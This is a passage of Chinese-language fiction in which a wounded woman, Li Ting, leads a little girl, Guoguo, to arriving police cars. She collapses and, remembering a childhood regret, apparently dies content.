“阿姨来了,果果继续往前走,不要怕。”她道。 “好。”小女孩继续往前走。 她走一段路就会回头看一眼,看到李亭在后面,她就继续回头往前走。 李亭的神智越来越昏聩,眼前一阵阵发黑,她提着一口气,坚持着不让自己倒下,因为耳边警车的鸣笛声越来越近,越来越清晰,她知道她就快成功了。 终于,转过又一道弯后,一排警车出现在前面的山道上,明亮的车前灯照到果果身上,警车停了下来。 李亭提着的那口气松了,双腿一软,面朝下扑倒在地上。 很多人从争先恐后地从警车里下来,就像荧幕上演的那样。 她歪着头,双眼无力地看向前方,她看到温暖耀眼的黄色光芒中,果果小小的身子被人动作轻柔地抱了起来,就好像二十年前的那个夏天,她没有去拉肚子,一直陪着宁宁,直到傍晚,王老师回来了,宁宁开心地向她跑去。落日余晖中,王老师温柔地抱起了她的女儿。 真好。 李亭弯起唇角,缓缓闭上了双眼。